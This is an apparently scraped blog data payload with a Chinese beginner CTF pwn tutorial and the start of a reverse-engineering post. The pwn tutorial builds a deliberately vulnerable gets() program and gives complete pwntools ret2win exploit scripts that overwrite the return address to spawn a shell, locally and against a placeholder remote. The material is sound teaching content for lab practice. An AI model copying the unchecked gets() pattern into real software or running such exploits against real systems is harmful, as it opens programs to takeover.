[{"data":1,"prerenderedAt":14326},["ShallowReactive",2],{"blog-post-/blogs/ctf-pwn-overview":3,"all-blogs-for-navigation":948},{"id":4,"title":5,"body":6,"description":935,"extension":936,"meta":937,"navigation":110,"ogImage":939,"path":944,"seo":945,"stem":946,"__hash__":947},"content/blogs/11. ctf-pwn-overview.md","CTF Pwn 入门：栈布局、checksec 与 pwntools",{"type":7,"value":8,"toc":923},"minimark",[9,14,23,31,35,38,77,81,88,204,207,244,248,254,260,263,279,282,290,293,358,362,368,374,381,452,457,461,466,504,506,512,516,524,535,544,548,593,603,607,612,617,686,689,695,706,710,787,791,800,803,816,827,832,838,895,897,903,907,919],[10,11,13],"h3",{"id":12},"一现实背景gets-为什么危险","一、现实背景：gets 为什么危险",[15,16,17,18,22],"p",{},"C 语言函数 ",[19,20,21],"code",{},"gets"," 不检查输入长度。缓冲区只有 32 字节，输入 100 字节时，多出的 68 字节会写进相邻内存，覆盖函数调用信息。现代系统为对抗这类问题启用了防护（栈金丝雀、地址随机化等），Pwn 方向就是研究如何在防护下完成利用。",[15,24,25,26,30],{},"本文只讲一条主线：",[27,28,29],"strong",{},"栈溢出 → 覆盖返回地址 → 跳转执行目标函数","。",[10,32,34],{"id":33},"二环境准备","二、环境准备",[15,36,37],{},"在 Linux（Kali/Ubuntu）上：",[39,40,45],"pre",{"className":41,"code":42,"language":43,"meta":44,"style":44},"language-bash shiki shiki-themes dracula","apt install gcc gdb\npip3 install pwntools\n","bash","",[19,46,47,66],{"__ignoreMap":44},[48,49,52,56,60,63],"span",{"class":50,"line":51},"line",1,[48,53,55],{"class":54},"sAOxA","apt",[48,57,59],{"class":58},"s-mGx"," install",[48,61,62],{"class":58}," gcc",[48,64,65],{"class":58}," gdb\n",[48,67,69,72,74],{"class":50,"line":68},2,[48,70,71],{"class":54},"pip3",[48,73,59],{"class":58},[48,75,76],{"class":58}," pwntools\n",[10,78,80],{"id":79},"三漏洞程序与编译","三、漏洞程序与编译",[15,82,83,84,87],{},"保存 ",[19,85,86],{},"vuln.c","：",[39,89,93],{"className":90,"code":91,"language":92,"meta":44,"style":44},"language-c shiki shiki-themes dracula","#include \u003Cstdio.h>\n#include \u003Cstdlib.h>\n\nvoid win() {\n    system(\"/bin/sh\");\n}\n\nvoid vuln() {\n    char buf[32];\n    gets(buf);\n}\n\nint main() {\n    setvbuf(stdout, NULL, _IONBF, 0);\n    puts(\"Hello, what's your name?\");\n    vuln();\n    puts(\"Bye!\");\n    return 0;\n}\n","c",[19,94,95,100,105,112,118,124,130,135,141,147,153,158,163,169,175,181,187,193,199],{"__ignoreMap":44},[48,96,97],{"class":50,"line":51},[48,98,99],{},"#include \u003Cstdio.h>\n",[48,101,102],{"class":50,"line":68},[48,103,104],{},"#include \u003Cstdlib.h>\n",[48,106,108],{"class":50,"line":107},3,[48,109,111],{"emptyLinePlaceholder":110},true,"\n",[48,113,115],{"class":50,"line":114},4,[48,116,117],{},"void win() {\n",[48,119,121],{"class":50,"line":120},5,[48,122,123],{},"    system(\"/bin/sh\");\n",[48,125,127],{"class":50,"line":126},6,[48,128,129],{},"}\n",[48,131,133],{"class":50,"line":132},7,[48,134,111],{"emptyLinePlaceholder":110},[48,136,138],{"class":50,"line":137},8,[48,139,140],{},"void vuln() {\n",[48,142,144],{"class":50,"line":143},9,[48,145,146],{},"    char buf[32];\n",[48,148,150],{"class":50,"line":149},10,[48,151,152],{},"    gets(buf);\n",[48,154,156],{"class":50,"line":155},11,[48,157,129],{},[48,159,161],{"class":50,"line":160},12,[48,162,111],{"emptyLinePlaceholder":110},[48,164,166],{"class":50,"line":165},13,[48,167,168],{},"int main() {\n",[48,170,172],{"class":50,"line":171},14,[48,173,174],{},"    setvbuf(stdout, NULL, _IONBF, 0);\n",[48,176,178],{"class":50,"line":177},15,[48,179,180],{},"    puts(\"Hello, what's your name?\");\n",[48,182,184],{"class":50,"line":183},16,[48,185,186],{},"    vuln();\n",[48,188,190],{"class":50,"line":189},17,[48,191,192],{},"    puts(\"Bye!\");\n",[48,194,196],{"class":50,"line":195},18,[48,197,198],{},"    return 0;\n",[48,200,202],{"class":50,"line":201},19,[48,203,129],{},[15,205,206],{},"编译（关闭金丝雀和 PIE，方便入门）：",[39,208,210],{"className":41,"code":209,"language":43,"meta":44,"style":44},"gcc -o vuln vuln.c -fno-stack-protector -no-pie\n# -fno-stack-protector：关闭栈金丝雀（canary），允许我们覆盖返回地址。\n# -no-pie：关闭地址随机化，win 函数地址固定，可以直接写进 payload。\n",[19,211,212,233,239],{"__ignoreMap":44},[48,213,214,217,221,224,227,230],{"class":50,"line":51},[48,215,216],{"class":54},"gcc",[48,218,220],{"class":219},"sIQBb"," -o",[48,222,223],{"class":58}," vuln",[48,225,226],{"class":58}," vuln.c",[48,228,229],{"class":219}," -fno-stack-protector",[48,231,232],{"class":219}," -no-pie\n",[48,234,235],{"class":50,"line":68},[48,236,238],{"class":237},"shSDL","# -fno-stack-protector：关闭栈金丝雀（canary），允许我们覆盖返回地址。\n",[48,240,241],{"class":50,"line":107},[48,242,243],{"class":237},"# -no-pie：关闭地址随机化，win 函数地址固定，可以直接写进 payload。\n",[10,245,247],{"id":246},"四核心步骤-1checksec-看防护","四、核心步骤 1：checksec 看防护",[15,249,250,253],{},[27,251,252],{},"目的","：开打之前先判断\"这条路能不能走\"，避免盲目构造 payload。",[15,255,256,259],{},[27,257,258],{},"思路","：三个关键行——没有 canary 才能直接覆盖返回地址；NX 开启意味着不能放 shellcode（本阶段跳过）；No PIE 意味着程序内函数地址可以直接写死。",[15,261,262],{},"输入：",[39,264,266],{"className":41,"code":265,"language":43,"meta":44,"style":44},"pwn checksec ./vuln\n",[19,267,268],{"__ignoreMap":44},[48,269,270,273,276],{"class":50,"line":51},[48,271,272],{"class":54},"pwn",[48,274,275],{"class":58}," checksec",[48,277,278],{"class":58}," ./vuln\n",[15,280,281],{},"预期输出：",[39,283,288],{"className":284,"code":286,"language":287,"meta":44},[285],"language-text","Arch:     amd64-64-little\nRELRO:    Partial RELRO\nStack:    No canary found\nNX:       NX enabled\nPIE:      No PIE (0x400000)\n","text",[19,289,286],{"__ignoreMap":44},[15,291,292],{},"只看三行：",[294,295,296,312],"table",{},[297,298,299],"thead",{},[300,301,302,306,309],"tr",{},[303,304,305],"th",{},"行",[303,307,308],{},"含义",[303,310,311],{},"对我们意味着什么",[313,314,315,329,342],"tbody",{},[300,316,317,323,326],{},[318,319,320],"td",{},[19,321,322],{},"Stack: No canary found",[318,324,325],{},"没有栈金丝雀",[318,327,328],{},"可以直接覆盖返回地址",[300,330,331,336,339],{},[318,332,333],{},[19,334,335],{},"NX: NX enabled",[318,337,338],{},"栈不可执行",[318,340,341],{},"不能放 shellcode（本阶段先不管）",[300,343,344,349,352],{},[318,345,346],{},[19,347,348],{},"PIE: No PIE",[318,350,351],{},"程序地址固定",[318,353,354,357],{},[19,355,356],{},"win"," 的地址可以直接写进 payload",[10,359,361],{"id":360},"五核心步骤-2栈布局与偏移","五、核心步骤 2：栈布局与偏移",[15,363,364,367],{},[19,365,366],{},"vuln"," 被调用时栈上自低到高：",[39,369,372],{"className":370,"code":371,"language":287,"meta":44},[285],"┌──────────────────────┐\n│  buf[32]             │ ← 输入从这里写入\n├──────────────────────┤\n│  saved rbp（8 字节）   │\n├──────────────────────┤\n│  返回地址（8 字节）     │ ← 覆盖它\n└──────────────────────┘\n",[19,373,371],{"__ignoreMap":44},[15,375,376,377,380],{},"偏移 = 32 + 8 = 40 字节。用 pwntools 的 ",[19,378,379],{},"cyclic"," 验证：",[39,382,386],{"className":383,"code":384,"language":385,"meta":44,"style":44},"language-python shiki shiki-themes dracula","from pwn import *\n\np = process('./vuln')\np.sendline(cyclic(200))\n# cyclic(200)：生成 200 字节的\"无重复模式串\"，例如 aaaabaaacaaa...\n# 目的：发送后程序溢出崩溃，崩溃时的地址必然取自模式串的某一段。\np.wait()\n# wait()：等待子进程结束（崩溃），这样 corefile 才可用。\noffset = cyclic_find(p.corefile.fault_addr)\n# p.corefile.fault_addr：程序崩溃时 rip 的值（即被覆盖的返回地址）。\n# cyclic_find(addr)：在模式串里查找该字节片段的位置，返回值就是\"到返回地址的距离\"。\nprint(offset)\n# 预期输出 40：32 字节 buf + 8 字节 saved rbp。\n","python",[19,387,388,393,397,402,407,412,417,422,427,432,437,442,447],{"__ignoreMap":44},[48,389,390],{"class":50,"line":51},[48,391,392],{},"from pwn import *\n",[48,394,395],{"class":50,"line":68},[48,396,111],{"emptyLinePlaceholder":110},[48,398,399],{"class":50,"line":107},[48,400,401],{},"p = process('./vuln')\n",[48,403,404],{"class":50,"line":114},[48,405,406],{},"p.sendline(cyclic(200))\n",[48,408,409],{"class":50,"line":120},[48,410,411],{},"# cyclic(200)：生成 200 字节的\"无重复模式串\"，例如 aaaabaaacaaa...\n",[48,413,414],{"class":50,"line":126},[48,415,416],{},"# 目的：发送后程序溢出崩溃，崩溃时的地址必然取自模式串的某一段。\n",[48,418,419],{"class":50,"line":132},[48,420,421],{},"p.wait()\n",[48,423,424],{"class":50,"line":137},[48,425,426],{},"# wait()：等待子进程结束（崩溃），这样 corefile 才可用。\n",[48,428,429],{"class":50,"line":143},[48,430,431],{},"offset = cyclic_find(p.corefile.fault_addr)\n",[48,433,434],{"class":50,"line":149},[48,435,436],{},"# p.corefile.fault_addr：程序崩溃时 rip 的值（即被覆盖的返回地址）。\n",[48,438,439],{"class":50,"line":155},[48,440,441],{},"# cyclic_find(addr)：在模式串里查找该字节片段的位置，返回值就是\"到返回地址的距离\"。\n",[48,443,444],{"class":50,"line":160},[48,445,446],{},"print(offset)\n",[48,448,449],{"class":50,"line":165},[48,450,451],{},"# 预期输出 40：32 字节 buf + 8 字节 saved rbp。\n",[15,453,281,454,30],{},[19,455,456],{},"40",[10,458,460],{"id":459},"六核心步骤-3pwntools-三个核心-api","六、核心步骤 3：pwntools 三个核心 API",[462,463,465],"h4",{"id":464},"api-1elf读符号地址","API 1：ELF——读符号地址",[39,467,469],{"className":383,"code":468,"language":385,"meta":44,"style":44},"from pwn import *\n\nelf = ELF('./vuln')\n# ELF('./vuln')：解析 ELF 文件，得到符号、节区等信息的对象。\n# elf.symbols['win']：查 win 函数的虚拟地址（由符号表得到）。\n# hex(...)：转成十六进制字符串显示，方便阅读。\nprint(hex(elf.symbols['win']))\n",[19,470,471,475,479,484,489,494,499],{"__ignoreMap":44},[48,472,473],{"class":50,"line":51},[48,474,392],{},[48,476,477],{"class":50,"line":68},[48,478,111],{"emptyLinePlaceholder":110},[48,480,481],{"class":50,"line":107},[48,482,483],{},"elf = ELF('./vuln')\n",[48,485,486],{"class":50,"line":114},[48,487,488],{},"# ELF('./vuln')：解析 ELF 文件，得到符号、节区等信息的对象。\n",[48,490,491],{"class":50,"line":120},[48,492,493],{},"# elf.symbols['win']：查 win 函数的虚拟地址（由符号表得到）。\n",[48,495,496],{"class":50,"line":126},[48,497,498],{},"# hex(...)：转成十六进制字符串显示，方便阅读。\n",[48,500,501],{"class":50,"line":132},[48,502,503],{},"print(hex(elf.symbols['win']))\n",[15,505,281],{},[39,507,510],{"className":508,"code":509,"language":287,"meta":44},[285],"0x401176\n",[19,511,509],{"__ignoreMap":44},[462,513,515],{"id":514},"api-2process启动程序","API 2：process——启动程序",[39,517,518],{"className":383,"code":401,"language":385,"meta":44,"style":44},[19,519,520],{"__ignoreMap":44},[48,521,522],{"class":50,"line":51},[48,523,401],{},[15,525,526,527,530,531,534],{},"启动本地进程，之后用 ",[19,528,529],{},"p.sendline()","、",[19,532,533],{},"p.recvuntil()"," 交互。远程题目改成：",[39,536,538],{"className":383,"code":537,"language":385,"meta":44,"style":44},"p = remote('1.2.3.4', 10001)\n",[19,539,540],{"__ignoreMap":44},[48,541,542],{"class":50,"line":51},[48,543,537],{},[462,545,547],{"id":546},"api-3p64-sendline构造并发送-payload","API 3：p64 + sendline——构造并发送 payload",[39,549,551],{"className":383,"code":550,"language":385,"meta":44,"style":44},"payload = b'A' * 40 + p64(0x401176)\n# b'A' * 40：40 个字节的填充，正好填满 buf[32] 与 saved rbp[8]。\n# p64(0x401176)：把 64 位整数 0x401176 打包成 8 字节小端字节串\n# （低字节在前：76 11 40 00 00 00 00 00），作为新的返回地址。\n# 两段拼接后，gets 会把这 48 字节全部写入栈，\n# 前 40 字节覆盖缓冲区与 rbp，最后 8 字节正好覆盖返回地址。\np.sendline(payload)\n# sendline()：发送 payload 并自动补一个换行（gets 以换行结束输入）。\n",[19,552,553,558,563,568,573,578,583,588],{"__ignoreMap":44},[48,554,555],{"class":50,"line":51},[48,556,557],{},"payload = b'A' * 40 + p64(0x401176)\n",[48,559,560],{"class":50,"line":68},[48,561,562],{},"# b'A' * 40：40 个字节的填充，正好填满 buf[32] 与 saved rbp[8]。\n",[48,564,565],{"class":50,"line":107},[48,566,567],{},"# p64(0x401176)：把 64 位整数 0x401176 打包成 8 字节小端字节串\n",[48,569,570],{"class":50,"line":114},[48,571,572],{},"# （低字节在前：76 11 40 00 00 00 00 00），作为新的返回地址。\n",[48,574,575],{"class":50,"line":120},[48,576,577],{},"# 两段拼接后，gets 会把这 48 字节全部写入栈，\n",[48,579,580],{"class":50,"line":126},[48,581,582],{},"# 前 40 字节覆盖缓冲区与 rbp，最后 8 字节正好覆盖返回地址。\n",[48,584,585],{"class":50,"line":132},[48,586,587],{},"p.sendline(payload)\n",[48,589,590],{"class":50,"line":137},[48,591,592],{},"# sendline()：发送 payload 并自动补一个换行（gets 以换行结束输入）。\n",[15,594,595,598,599,602],{},[19,596,597],{},"p64"," 把 64 位整数转成 8 字节小端字节串；40 个 ",[19,600,601],{},"A"," 填满缓冲区与 saved rbp，后面 8 字节正好落在返回地址上。",[10,604,606],{"id":605},"七完整-ret2win-脚本","七、完整 ret2win 脚本",[15,608,609,611],{},[27,610,252],{},"：把前三步串成完整 exploit。",[15,613,614,616],{},[27,615,258],{},"：等程序打印提示 → 发送\"填充 + win 地址\" → 程序 ret 跳到 win → 弹出 shell → 交互。",[39,618,620],{"className":383,"code":619,"language":385,"meta":44,"style":44},"from pwn import *\n\nelf = ELF('./vuln')\np = process('./vuln')\n\np.recvuntil(b'name?')\n# recvuntil()：一直读取直到收到指定字节串，保证程序已走到 gets 之前。\n# 参数 b'name?'：匹配提示文字 \"name?\"，避免过早发送导致输入丢失。\npayload = b'A' * 40 + p64(elf.symbols['win'])\np.sendline(payload)\n# 触发溢出：覆盖返回地址为 win。\np.interactive()\n# interactive()：把当前进程的输入输出接到我们的终端，\n# 之后就可以像正常 shell 一样输入命令（id、cat flag 等）。\n",[19,621,622,626,630,634,638,642,647,652,657,662,666,671,676,681],{"__ignoreMap":44},[48,623,624],{"class":50,"line":51},[48,625,392],{},[48,627,628],{"class":50,"line":68},[48,629,111],{"emptyLinePlaceholder":110},[48,631,632],{"class":50,"line":107},[48,633,483],{},[48,635,636],{"class":50,"line":114},[48,637,401],{},[48,639,640],{"class":50,"line":120},[48,641,111],{"emptyLinePlaceholder":110},[48,643,644],{"class":50,"line":126},[48,645,646],{},"p.recvuntil(b'name?')\n",[48,648,649],{"class":50,"line":132},[48,650,651],{},"# recvuntil()：一直读取直到收到指定字节串，保证程序已走到 gets 之前。\n",[48,653,654],{"class":50,"line":137},[48,655,656],{},"# 参数 b'name?'：匹配提示文字 \"name?\"，避免过早发送导致输入丢失。\n",[48,658,659],{"class":50,"line":143},[48,660,661],{},"payload = b'A' * 40 + p64(elf.symbols['win'])\n",[48,663,664],{"class":50,"line":149},[48,665,587],{},[48,667,668],{"class":50,"line":155},[48,669,670],{},"# 触发溢出：覆盖返回地址为 win。\n",[48,672,673],{"class":50,"line":160},[48,674,675],{},"p.interactive()\n",[48,677,678],{"class":50,"line":165},[48,679,680],{},"# interactive()：把当前进程的输入输出接到我们的终端，\n",[48,682,683],{"class":50,"line":171},[48,684,685],{},"# 之后就可以像正常 shell 一样输入命令（id、cat flag 等）。\n",[15,687,688],{},"预期结果：",[39,690,693],{"className":691,"code":692,"language":287,"meta":44},[285],"[*] Switching to interactive mode\n$ id\nuid=1000(ctf) gid=1000(ctf)\n",[19,694,692],{"__ignoreMap":44},[15,696,697,698,701,702,705],{},"程序跳到了 ",[19,699,700],{},"win()","，执行 ",[19,703,704],{},"system(\"/bin/sh\")","，我们拿到了 shell。",[10,707,709],{"id":708},"八必学工具","八、必学工具",[294,711,712,725],{},[297,713,714],{},[300,715,716,719,722],{},[303,717,718],{},"工具",[303,720,721],{},"3 个核心功能",[303,723,724],{},"示例",[313,726,727,755,768],{},[300,728,729,732,752],{},[318,730,731],{},"pwntools",[318,733,734,737,738,740,741,744,745,747,748,751],{},[19,735,736],{},"ELF()"," 读符号、",[19,739,379],{},"/",[19,742,743],{},"cyclic_find"," 找偏移、",[19,746,597],{},"+",[19,749,750],{},"sendline"," 构造发送",[318,753,754],{},"见上文",[300,756,757,760,763],{},[318,758,759],{},"checksec",[318,761,762],{},"查看栈保护、NX、PIE",[318,764,765],{},[19,766,767],{},"pwn checksec ./vuln",[300,769,770,773,776],{},[318,771,772],{},"GDB（+pwndbg）",[318,774,775],{},"断点、看栈、单步",[318,777,778,530,781,530,784],{},[19,779,780],{},"break vuln",[19,782,783],{},"x/20gx $rsp",[19,785,786],{},"continue",[10,788,790],{"id":789},"九小-ctf-实战远程-ret2win","九、小 CTF 实战：远程 ret2win",[15,792,793,794,797,798,30],{},"题目：",[19,795,796],{},"nc 1.2.3.4 10001","，运行的就是上面的 ",[19,799,366],{},[15,801,802],{},"第一步，本地验证：",[39,804,806],{"className":41,"code":805,"language":43,"meta":44,"style":44},"python3 exploit.py\n",[19,807,808],{"__ignoreMap":44},[48,809,810,813],{"class":50,"line":51},[48,811,812],{"class":54},"python3",[48,814,815],{"class":58}," exploit.py\n",[15,817,818,819,822,823,826],{},"第二步，把 ",[19,820,821],{},"process('./vuln')"," 改成 ",[19,824,825],{},"remote('1.2.3.4', 10001)"," 再跑：",[15,828,829,831],{},[27,830,252],{},"：本地打通后打远程。本地与远程的区别只有一行：连接方式。",[15,833,834,837],{},[27,835,836],{},"验证方式","：远程返回同样提示并弹出 shell 即成功；如果远程崩溃或没有反应，先用 checksec 确认远程程序的防护与本地一致。",[39,839,841],{"className":383,"code":840,"language":385,"meta":44,"style":44},"from pwn import *\n\nelf = ELF('./vuln')\np = remote('1.2.3.4', 10001)\n# remote(host, port)：建立 TCP 连接，host 是题目 IP，port 是题目端口。\n# 之后 sendline/recvuntil/interactive 的用法与本地 process 完全一样。\n\npayload = b'A' * 40 + p64(elf.symbols['win'])\np.sendline(payload)\np.sendline(b'cat flag')\n# 进入 shell 后执行 cat flag，读取当前目录下的 flag 文件。\np.interactive()\n",[19,842,843,847,851,855,859,864,869,873,877,881,886,891],{"__ignoreMap":44},[48,844,845],{"class":50,"line":51},[48,846,392],{},[48,848,849],{"class":50,"line":68},[48,850,111],{"emptyLinePlaceholder":110},[48,852,853],{"class":50,"line":107},[48,854,483],{},[48,856,857],{"class":50,"line":114},[48,858,537],{},[48,860,861],{"class":50,"line":120},[48,862,863],{},"# remote(host, port)：建立 TCP 连接，host 是题目 IP，port 是题目端口。\n",[48,865,866],{"class":50,"line":126},[48,867,868],{},"# 之后 sendline/recvuntil/interactive 的用法与本地 process 完全一样。\n",[48,870,871],{"class":50,"line":132},[48,872,111],{"emptyLinePlaceholder":110},[48,874,875],{"class":50,"line":137},[48,876,661],{},[48,878,879],{"class":50,"line":143},[48,880,587],{},[48,882,883],{"class":50,"line":149},[48,884,885],{},"p.sendline(b'cat flag')\n",[48,887,888],{"class":50,"line":155},[48,889,890],{},"# 进入 shell 后执行 cat flag，读取当前目录下的 flag 文件。\n",[48,892,893],{"class":50,"line":160},[48,894,675],{},[15,896,281],{},[39,898,901],{"className":899,"code":900,"language":287,"meta":44},[285],"flag{ret2win}\n",[19,902,900],{"__ignoreMap":44},[10,904,906],{"id":905},"十小结","十、小结",[15,908,909,910,912,913,915,916,918],{},"Pwn 入门主线：",[19,911,759],{}," 判断能不能直接打 → ",[19,914,379],{}," 确定偏移 → ",[19,917,597],{}," 构造 payload 覆盖返回地址。下一级进阶（NX + ASLR）时，目标从\"程序内的 win\"换成\"libc 里的 system\"，思路不变，详见《栈溢出与 ROP 深入实战》。",[920,921,922],"style",{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}",{"title":44,"searchDepth":68,"depth":68,"links":924},[925,926,927,928,929,930,931,932,933,934],{"id":12,"depth":107,"text":13},{"id":33,"depth":107,"text":34},{"id":79,"depth":107,"text":80},{"id":246,"depth":107,"text":247},{"id":360,"depth":107,"text":361},{"id":459,"depth":107,"text":460},{"id":605,"depth":107,"text":606},{"id":708,"depth":107,"text":709},{"id":789,"depth":107,"text":790},{"id":905,"depth":107,"text":906},"完整演示 Pwn 第一条,包括漏洞代码编译、checksec 防护解读、cyclic 找偏移，到用 pwntools 三个核心 API 完成 ret2win。","md",{"date":938,"image":939,"alt":940,"tags":941,"published":110},"14th Aug 2026","/blogs-img/blog2.png","CTF Pwn 入门",[942,272,943],"ctf","example","/blogs/ctf-pwn-overview",{"title":5,"description":935},"blogs/11. ctf-pwn-overview","meu72Rt9gwp_tpGxBY4J74XxZjAVK6BU7R5ezX4BNvk",[949,2261,2940,3947,4914,6320,7379,8331,9429,10466,11445,12467],{"id":950,"title":951,"body":952,"description":2251,"extension":936,"meta":2252,"navigation":110,"ogImage":2253,"path":2257,"seo":2258,"stem":2259,"__hash__":2260},"content/blogs/10. ctf-reverse-overview.md","CTF 逆向入门：侦查、反汇编与 GDB 调试",{"type":7,"value":953,"toc":2241},[954,958,961,964,1013,1016,1018,1020,1046,1053,1057,1062,1067,1071,1073,1086,1088,1094,1105,1110,1114,1116,1128,1130,1136,1146,1163,1166,1171,1194,1198,1210,1215,1227,1232,1237,1241,1246,1263,1267,1269,1290,1293,1333,1336,1393,1396,1449,1456,1476,1480,1513,1516,1536,1543,1558,1562,1582,1584,1590,1600,1613,1617,1620,1683,1686,1709,1712,1737,1740,1744,1747,1752,1761,1773,1776,1780,1790,1792,1798,1802,1811,1813,1819,1822,1826,1835,1838,1842,1851,1857,1866,1869,1893,1900,1913,1916,1922,1925,1931,1935,2015,2024,2028,2034,2038,2043,2056,2072,2078,2082,2087,2096,2102,2111,2115,2120,2129,2194,2196,2202,2206,2219,2223,2227,2238],[10,955,957],{"id":956},"一现实背景为什么需要逆向","一、现实背景：为什么需要逆向",[15,959,960],{},"商业软件只发布编译后的二进制文件，不发布源码。恶意软件分析、漏洞研究、授权校验分析都依赖逆向。CTF 逆向题最常见的形式：程序读取一个输入，判断对不对，对就输出 flag；不给你源码，只给你编译好的文件。",[15,962,963],{},"目标程序示例：",[39,965,967],{"className":41,"code":966,"language":43,"meta":44,"style":44},"$ ./checkflag\nUsage: ./checkflag \u003Cflag>\n$ ./checkflag test\nWrong!\n",[19,968,969,977,999,1008],{"__ignoreMap":44},[48,970,971,974],{"class":50,"line":51},[48,972,973],{"class":54},"$",[48,975,976],{"class":58}," ./checkflag\n",[48,978,979,982,985,989,992,996],{"class":50,"line":68},[48,980,981],{"class":54},"Usage:",[48,983,984],{"class":58}," ./checkflag",[48,986,988],{"class":987},"s0Tla"," \u003C",[48,990,991],{"class":58},"fla",[48,993,995],{"class":994},"sCdxs","g",[48,997,998],{"class":987},">\n",[48,1000,1001,1003,1005],{"class":50,"line":107},[48,1002,973],{"class":54},[48,1004,984],{"class":58},[48,1006,1007],{"class":58}," test\n",[48,1009,1010],{"class":50,"line":114},[48,1011,1012],{"class":54},"Wrong!\n",[15,1014,1015],{},"解题目标：通过分析二进制，找出正确输入。",[10,1017,34],{"id":33},[15,1019,37],{},[39,1021,1023],{"className":41,"code":1022,"language":43,"meta":44,"style":44},"apt install file binutils gdb ltrace strace\n",[19,1024,1025],{"__ignoreMap":44},[48,1026,1027,1029,1031,1034,1037,1040,1043],{"class":50,"line":51},[48,1028,55],{"class":54},[48,1030,59],{"class":58},[48,1032,1033],{"class":58}," file",[48,1035,1036],{"class":58}," binutils",[48,1038,1039],{"class":58}," gdb",[48,1041,1042],{"class":58}," ltrace",[48,1044,1045],{"class":58}," strace\n",[15,1047,1048,1049,1052],{},"本文以编译后的 ",[19,1050,1051],{},"checkflag"," 为例，逐步演示。",[10,1054,1056],{"id":1055},"三核心步骤-1侦查","三、核心步骤 1：侦查",[15,1058,1059,1061],{},[27,1060,252],{},"：在不运行程序的情况下，先收集\"程序是什么、里面写了什么字符串\"。",[15,1063,1064,1066],{},[27,1065,258],{},"：程序类型决定用什么工具（ELF 用 objdump，PE 用其他）；字符串往往直接暴露提示、密钥甚至 flag。先做最便宜的三件事，通常能直接定位简单题。",[462,1068,1070],{"id":1069},"_31-file看文件类型","3.1 file：看文件类型",[15,1072,262],{},[39,1074,1076],{"className":41,"code":1075,"language":43,"meta":44,"style":44},"file checkflag\n",[19,1077,1078],{"__ignoreMap":44},[48,1079,1080,1083],{"class":50,"line":51},[48,1081,1082],{"class":54},"file",[48,1084,1085],{"class":58}," checkflag\n",[15,1087,281],{},[39,1089,1092],{"className":1090,"code":1091,"language":287,"meta":44},[285],"checkflag: ELF 64-bit LSB pie executable, x86-64, dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, not stripped\n",[19,1093,1091],{"__ignoreMap":44},[15,1095,1096,1097,1100,1101,1104],{},"重点看最后：",[19,1098,1099],{},"not stripped"," 表示符号表还在，函数名（main、check）可见；如果是 ",[19,1102,1103],{},"stripped","，函数名被删，难度更高。",[15,1106,1107,1109],{},[27,1108,252],{},"：确认我们面对的是 ELF 还是 PE、多少位、是否被 strip。这决定后续用 objdump 还是其他工具，以及能否直接看到函数名。",[462,1111,1113],{"id":1112},"_32-strings提取字符串","3.2 strings：提取字符串",[15,1115,262],{},[39,1117,1119],{"className":41,"code":1118,"language":43,"meta":44,"style":44},"strings checkflag\n",[19,1120,1121],{"__ignoreMap":44},[48,1122,1123,1126],{"class":50,"line":51},[48,1124,1125],{"class":54},"strings",[48,1127,1085],{"class":58},[15,1129,281],{},[39,1131,1134],{"className":1132,"code":1133,"language":287,"meta":44},[285],"/lib64/ld-linux-x86-64.so.2\nUsage: ./checkflag \u003Cflag>\nCorrect!\nWrong!\n",[19,1135,1133],{"__ignoreMap":44},[15,1137,1138,1139,1141,1142,1145],{},"三个提示字符串都出来了，但还没有 flag。注意 ",[19,1140,1125],{}," 默认只显示长度 ≥ 4 的字符串，短字符串用 ",[19,1143,1144],{},"-n"," 指定：",[39,1147,1149],{"className":41,"code":1148,"language":43,"meta":44,"style":44},"strings -n 3 checkflag\n",[19,1150,1151],{"__ignoreMap":44},[48,1152,1153,1155,1158,1161],{"class":50,"line":51},[48,1154,1125],{"class":54},[48,1156,1157],{"class":219}," -n",[48,1159,1160],{"class":219}," 3",[48,1162,1085],{"class":58},[15,1164,1165],{},"如果程序用 XOR 加密了 flag，strings 只能看到提示，看不到明文，需要继续分析。",[15,1167,1168,1170],{},[27,1169,252],{},"：把文件里所有可打印字符串列出来，找\"提示/密钥/硬编码密文\"。",[15,1172,1173,1175,1176,530,1179,530,1182,1185,1186,1189,1190,1193],{},[27,1174,258],{},"：输出里的 ",[19,1177,1178],{},"Usage: ./checkflag \u003Cflag>",[19,1180,1181],{},"Correct!",[19,1183,1184],{},"Wrong!"," 说明这是个接收参数的校验程序；如果看到可疑短串（如 ",[19,1187,1188],{},"k3y","），先用 ",[19,1191,1192],{},"-n 3"," 确认——可能正是加密密钥。",[462,1195,1197],{"id":1196},"_33-运行程序观察行为","3.3 运行程序观察行为",[39,1199,1201],{"className":41,"code":1200,"language":43,"meta":44,"style":44},"./checkflag test\n",[19,1202,1203],{"__ignoreMap":44},[48,1204,1205,1208],{"class":50,"line":51},[48,1206,1207],{"class":54},"./checkflag",[48,1209,1007],{"class":58},[15,1211,1212,1213,30],{},"输出：",[19,1214,1184],{},[39,1216,1218],{"className":41,"code":1217,"language":43,"meta":44,"style":44},"./checkflag AAAAAAAAAAAAAAAAAAAAAAAA\n",[19,1219,1220],{"__ignoreMap":44},[48,1221,1222,1224],{"class":50,"line":51},[48,1223,1207],{"class":54},[48,1225,1226],{"class":58}," AAAAAAAAAAAAAAAAAAAAAAAA\n",[15,1228,1212,1229,1231],{},[19,1230,1184],{},"。行为确认：带一个参数，对就 Correct，错就 Wrong。",[15,1233,1234,1236],{},[27,1235,252],{},"：确认输入输出格式（参数个数、提示文字），为后续在反汇编里找\"打印 Correct 的分支\"做准备。",[10,1238,1240],{"id":1239},"四核心步骤-2反汇编","四、核心步骤 2：反汇编",[15,1242,1243,1245],{},[27,1244,252],{},"：找到程序\"判断对错\"的那段代码，弄清校验逻辑。",[15,1247,1248,1250,1251,1254,1255,1258,1259,1262],{},[27,1249,258],{},"：程序要么比较字符串（",[19,1252,1253],{},"strcmp","），要么逐字节运算（XOR 等）。反汇编里找 ",[19,1256,1257],{},"call","（函数调用）和 